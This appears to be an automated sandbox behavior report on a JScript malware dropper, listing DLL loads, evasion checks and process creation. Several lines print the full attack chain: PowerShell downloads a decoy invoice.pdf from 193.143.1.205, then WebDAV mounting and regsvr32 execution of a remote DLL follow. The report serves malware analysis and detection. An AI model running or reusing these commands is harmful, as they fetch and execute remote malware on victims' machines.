Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8024.js.csv");ITextStream.WriteLine(" entry:7278 f:kfrrxzl");ITextStream.WriteLine(" exec:2 f:kfrrxzl");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4253			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5533			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4032	Thread sleep count: 4253 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4032	Thread sleep count: 5533 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5344	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5132	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2912	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6512	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3560	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7112	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7636	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.2148252294.0000027596AEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}j
Source: net.exe, 00000007.00000002.2226605775.0000018709168000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2226605775.00000187091D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3419947141.0000026F1645B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3418985526.0000026F10E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
